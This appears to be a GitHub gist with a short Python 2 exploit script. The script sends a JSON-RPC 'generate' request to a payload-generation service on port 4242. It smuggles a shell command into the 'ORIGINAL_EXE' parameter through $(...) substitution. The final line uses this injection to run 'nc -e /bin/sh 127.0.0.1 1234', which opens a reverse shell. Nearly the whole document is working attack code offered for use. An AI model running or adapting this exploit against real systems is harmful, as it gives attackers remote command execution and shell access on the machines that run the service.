This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import json | |
def send_command(command, ip="127.0.0.1", port=4242): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((ip, port)) | |
print json.dumps(command) | |
s.send(json.dumps(command)) | |
s.close() | |
def exploit_pescrambler(command, ip="127.0.0.1", port=4242): | |
send_command({"method": "generate", "params": ["payload=native/pe_scrambler", "outputbase=base", "pwnstaller=N", "ORIGINAL_EXE=$({0})".format(command), ], "id": 1}, ip, port) | |
exploit_pescrambler("nc -e /bin/sh 127.0.0.1 1234") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment